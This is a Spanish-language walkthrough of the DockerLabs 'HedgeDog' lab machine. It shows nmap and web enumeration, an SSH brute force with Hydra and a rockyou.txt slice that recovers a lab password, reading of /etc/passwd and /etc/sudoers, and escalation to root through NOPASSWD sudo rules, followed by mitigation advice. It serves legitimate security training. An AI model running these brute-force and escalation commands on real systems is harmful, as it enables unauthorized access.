HedgeDog Lab

Estado: completado

Fecha: 2026-10-01

Plataforma: DockerLabs

Dificultad: Muy Facíl

Diploma de finalización

Estado: En espera

Alcance y objetivo

Objetivo autorizado: 172.17.0.2
Tipo de entorno: máquina vulnerable / contenedor Linux
Objetivo de aprendizaje: practicar fuerza bruta contra SSH y escalada de privilegios mediante movimiento entre usuarios.

El laboratorio se desarrolló dentro del entorno autorizado de DockerLabs. El objetivo fue realizar reconocimiento del sistema, identificar los servicios expuestos, obtener acceso inicial y posteriormente escalar privilegios mediante una cadena de permisos entre usuarios.

Resumen ejecutivo

El reconocimiento inicial identificó los servicios SSH (22/tcp) y HTTP (80/tcp).

La enumeración del servidor web reveló el texto tails, que sirvió como pista para identificar un usuario válido del sistema. Posteriormente se realizó un ataque de fuerza bruta autorizado contra SSH utilizando una sección final de rockyou.txt, obteniendo las credenciales del usuario tails.

Una vez obtenido el acceso inicial, la enumeración local reveló una configuración insegura de sudo que permitía a tails ejecutar cualquier comando como sonic sin contraseña.

El usuario sonic disponía a su vez de permisos sudo sin contraseña para cualquier usuario, permitiendo obtener una shell como root.

La cadena completa fue:

HTTP
  ↓
Identificación de "tails"
  ↓
Fuerza bruta SSH
  ↓
tails
  ↓
sudo → sonic
  ↓
sudo → root

Reconocimiento remoto

Descubrimiento de puertos

Se realizó un escaneo completo de los puertos TCP del objetivo:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2

alt text

Resultado

Puerto	Estado	Servicio
`22/tcp`	open	SSH
`80/tcp`	open	HTTP

Los dos servicios justificaban continuar con la enumeración.

Enumeración de versiones

Se realizó una segunda exploración utilizando scripts básicos de Nmap y detección de versiones:

sudo nmap -sCV -p 22,80 172.17.0.2

alt text

Resultado relevante:

22/tcp open  ssh   OpenSSH 9.6p1 Ubuntu
80/tcp open  http  Apache httpd 2.4.58

Puerto	Servicio	Versión	Próximo paso
`22`	SSH	OpenSSH 9.6p1	Revisar autenticación
`80`	HTTP	Apache 2.4.58	Enumerar contenido web

Enumeración de servicios

HTTP — Puerto 80

El servidor web utilizaba Apache y respondía correctamente en el puerto 80.

Se realizó enumeración de directorios:

feroxbuster -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt

alt text

Los resultados relevantes fueron:

/
index.html

Ambos recursos respondían con código 200.

Inspección de la página principal

Se consultó directamente el servidor:

curl -i http://172.17.0.2/

alt text

La respuesta contenía:

tails

También se verificó directamente index.html:

curl -s http://172.17.0.2/index.html | xxd

alt text

Resultado:

00000000: 7461 696c 730a  tails

Hallazgo

El texto tails se consideró una pista relevante porque coincidía con un usuario posteriormente identificado en /etc/passwd.

SSH — Puerto 22

El servicio SSH fue identificado como:

OpenSSH 9.6p1 Ubuntu

alt text

Se probó el usuario identificado mediante la enumeración web:

ssh tails@172.17.0.2

El servidor solicitó una contraseña y rechazó credenciales incorrectas.

alt text

Esto confirmó que la autenticación mediante contraseña estaba habilitada.

Acceso inicial

Fuerza bruta SSH

Debido a la pista obtenida mediante HTTP, se utilizó tails como nombre de usuario.

En lugar de utilizar inicialmente todo rockyou.txt, se tomó la parte final de la lista:

tail -n 1000 /usr/share/wordlists/rockyou.txt > rockyou-tail.txt

alt text

Posteriormente se eliminaron espacios iniciales:

sed 's/^[[:space:]]*//' rockyou-tail.txt > rockyou-tail-clean.txt

alt text

Se ejecutó Hydra contra el servicio SSH:

hydra -l tails -P rockyou-tail-clean.txt -t 4 -V ssh://172.17.0.2

Inicio de ejecucion de hydra

alt text

Fin de ejecucion. Hydra encontró una credencial válida:

alt text

[22][ssh] host: 172.17.0.2
login: tails
password: 3117548331

Nota: La credencial corresponde exclusivamente al laboratorio vulnerable.

Conexión SSH

Con las credenciales obtenidas se estableció una sesión:

ssh tails@172.17.0.2

alt text

Se confirmó el usuario:

whoami

Resultado:

tails

Enumeración local de Linux

Identidad y sistema

Se ejecutaron los siguientes comandos:

whoami
id
hostname

alt text

Resultados relevantes:

whoami:
tails

id:
uid=1002(tails) gid=1002(tails) groups=1002(tails)

hostname:
51204fda2024

El usuario tails no pertenecía a grupos adicionales.

Directorio personal

Se revisó el contenido del directorio personal:

ls -la

alt text

El directorio contenía principalmente archivos de configuración estándar:

.bash_logout
.bashrc
.cache
.profile

No se encontraron credenciales o archivos de interés evidentes.

Enumeración de usuarios

Se revisó el archivo /etc/passwd:

cat /etc/passwd

alt text

Entre las cuentas con shell interactiva se identificaron:

ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
sonic:x:1001:1001::/home/sonic:/bin/bash
tails:x:1002:1002::/home/tails:/bin/bash

Los usuarios relevantes eran:

ubuntu
sonic
tails

Enumeración de "/home"

Se revisaron los directorios personales:

ls -la /home

alt text

Resultado relevante:

drwxr-x--- 4 sonic  sonic  /home/sonic
drwxr-x--- 2 ubuntu ubuntu /home/ubuntu
drwxr-x--- 4 tails  tails  /home/tails

Se intentó acceder directamente al directorio de sonic:

ls -la /home/sonic
ls -la /home/ubuntu

Resultado:

ls: cannot open directory '/home/sonic': Permission denied

alt text

Esto descartó el acceso directo al contenido del home de sonic desde la cuenta tails.

Permisos y escalada

"sudo -l" como tails

Se revisaron los privilegios de sudo:

sudo -l

alt text

Resultado:

User tails may run the following commands on 51204fda2024:
    (sonic) NOPASSWD: ALL

Interpretación

La configuración permite a tails ejecutar cualquier comando como sonic sin introducir contraseña.

Por lo tanto, se podía realizar el movimiento:

tails → sonic

Movimiento entre usuarios

De tails a sonic

Se ejecutó:

sudo -u sonic /bin/bash

alt text

La shell cambió al usuario sonic:

sonic@51204fda2024:/home/tails$

Se confirmó mediante:

whoami

Resultado:

sonic

alt text

Enumeración como sonic

Una vez obtenido el usuario sonic, se volvieron a revisar sus permisos:

sudo -l

alt text

Resultado:

User sonic may run the following commands on 51204fda2024:
    (ALL) NOPASSWD: ALL

Esto representa un permiso mucho más amplio.

sonic podía ejecutar comandos como cualquier usuario, incluido root, sin contraseña.

Escalada a root

Se ejecutó:

sudo /bin/bash

alt text

La shell obtenida tenía privilegios de root.

Se verificó:

whoami

Resultado:

root

alt text

La cadena completa de escalada quedó confirmada:

tails
  │
  │ sudo -u sonic /bin/bash
  ▼
sonic
  │
  │ sudo /bin/bash
  ▼
root

Evidencia de la configuración vulnerable

Una vez obtenidos privilegios de root, se inspeccionó /etc/sudoers:

cat /etc/sudoers

alt text

Las líneas relevantes fueron:

tails ALL=(sonic) NOPASSWD:ALL
sonic ALL=(ALL) NOPASSWD:ALL

Estas reglas explican completamente la escalada observada.

Primera regla

tails ALL=(sonic) NOPASSWD:ALL

Permite que tails ejecute cualquier comando como sonic sin contraseña.

Segunda regla

sonic ALL=(ALL) NOPASSWD:ALL

Permite que sonic ejecute cualquier comando como cualquier usuario, incluido root, sin contraseña.

Evidencias y flags

Acceso inicial

Usuario:

tails

Método:

SSH + credenciales obtenidas mediante fuerza bruta

alt text

Movimiento intermedio

Usuario:

sonic

Método:

sudo -u sonic /bin/bash

alt text

Acceso root

Usuario final:

root

Método:

sudo /bin/bash

alt text

Cadena completa de explotación

┌──────────────────────┐
│   HTTP - 172.17.0.2 │
│                      │
│       "tails"        │
└──────────┬───────────┘
           │
           ▼
┌──────────────────────┐
│    Fuerza bruta SSH  │
│                      │
│   usuario: tails     │
└──────────┬───────────┘
           │
           ▼
┌──────────────────────┐
│        tails         │
│                      │
│ sudo → sonic         │
└──────────┬───────────┘
           │
           ▼
┌──────────────────────┐
│        sonic         │
│                      │
│ sudo → root          │
└──────────┬───────────┘
           │
           ▼
┌──────────────────────┐
│         root         │
└──────────────────────┘

alt text

Mitigación

Restringir permisos sudo

No debería utilizarse:

tails ALL=(sonic) NOPASSWD:ALL
sonic ALL=(ALL) NOPASSWD:ALL

Estas reglas conceden permisos excesivamente amplios.

Se debería aplicar el principio de mínimo privilegio y permitir únicamente los comandos estrictamente necesarios.

Por ejemplo, si una cuenta necesita ejecutar un único comando administrativo, la regla debería limitarse a ese comando concreto.

Proteger SSH contra fuerza bruta

La autenticación SSH debería complementarse con mecanismos de protección contra ataques de fuerza bruta.

Medidas posibles:

Utilizar autenticación mediante claves SSH.
Deshabilitar autenticación por contraseña cuando sea viable.
Implementar mecanismos de rate limiting.
Utilizar herramientas como Fail2ban.
Restringir el acceso SSH mediante firewall.
Evitar nombres de usuario fácilmente deducibles.

Evitar exposición de información sensible

El servidor HTTP exponía directamente:

tails

Aunque por sí mismo no representa una vulnerabilidad crítica, proporcionó una pista que ayudó a identificar un usuario válido.

Los servicios públicos deberían evitar revelar información innecesaria sobre usuarios internos.

Aprendizajes

La enumeración HTTP puede proporcionar información útil incluso cuando una página parece vacía.
Un nombre encontrado en un servicio puede convertirse en una hipótesis para enumerar otro servicio.
La versión de un servicio no siempre representa el vector de ataque principal.
sudo -l es una de las comprobaciones más importantes después de obtener acceso a Linux.
Las reglas NOPASSWD: ALL deben considerarse altamente sensibles.
El movimiento entre usuarios puede formar una cadena de escalada.
Una cuenta con permisos limitados puede convertirse en una vía hacia root si el siguiente usuario posee privilegios excesivos.
Revisar /etc/sudoers permitió confirmar la causa exacta de la escalada.
La cadena final del laboratorio fue:

HTTP → tails → sonic → root

Resumen de evidencias

Etapa	Evidencia	Resultado
Reconocimiento	`nmap`	Puertos 22 y 80
HTTP	`curl`	Identificación de `tails`
SSH	Hydra	Credenciales válidas
Acceso inicial	`ssh`	Usuario `tails`
Enumeración	`/etc/passwd`	Usuarios `ubuntu`, `sonic`, `tails`
Privilegios	`sudo -l`	`tails → sonic`
Movimiento	`sudo -u sonic`	Usuario `sonic`
Privilegios	`sudo -l`	`sonic → root`
Escalada	`sudo /bin/bash`	`root`
Confirmación	`whoami`	`root`
Configuración	`/etc/sudoers`	Reglas NOPASSWD

Conclusión

HedgeDog demuestra una cadena de ataque basada en enumeración, reutilización de información entre servicios y permisos sudo excesivos.

El acceso inicial se obtuvo mediante SSH utilizando el usuario identificado a través del servidor web. Posteriormente, la configuración de sudo permitió realizar movimiento lateral entre usuarios hasta alcanzar privilegios root.

La principal debilidad del sistema fue la configuración excesivamente permisiva:

tails → sonic → root

La revisión de los permisos de sudo fue determinante para identificar y validar la escalada de privilegios.

Diploma de finalización​

Alcance y objetivo​

Resumen ejecutivo​

Reconocimiento remoto

Descubrimiento de puertos​

Resultado​

Enumeración de versiones​

Enumeración de servicios

HTTP — Puerto 80​

Inspección de la página principal​

Hallazgo​

SSH — Puerto 22

Acceso inicial

Fuerza bruta SSH​

Conexión SSH​

Enumeración local de Linux

Identidad y sistema​

Directorio personal​

Enumeración de usuarios

Enumeración de "/home"​

Permisos y escalada

"sudo -l" como tails​

Interpretación​

Movimiento entre usuarios

De tails a sonic​

Enumeración como sonic

Escalada a root

Evidencia de la configuración vulnerable

Primera regla​

Segunda regla​

Evidencias y flags

Acceso inicial​

Movimiento intermedio​

Acceso root​

Cadena completa de explotación

Mitigación

Restringir permisos sudo​

Proteger SSH contra fuerza bruta​

Evitar exposición de información sensible​

Aprendizajes

Resumen de evidencias

Conclusión

Diploma de finalización

Alcance y objetivo

Resumen ejecutivo

Descubrimiento de puertos

Resultado

Enumeración de versiones

HTTP — Puerto 80

Inspección de la página principal

Hallazgo

Fuerza bruta SSH

Conexión SSH

Identidad y sistema

Directorio personal

Enumeración de "/home"

"sudo -l" como tails

Interpretación

De tails a sonic

Primera regla

Segunda regla

Acceso inicial

Movimiento intermedio

Acceso root

Restringir permisos sudo

Proteger SSH contra fuerza bruta

Evitar exposición de información sensible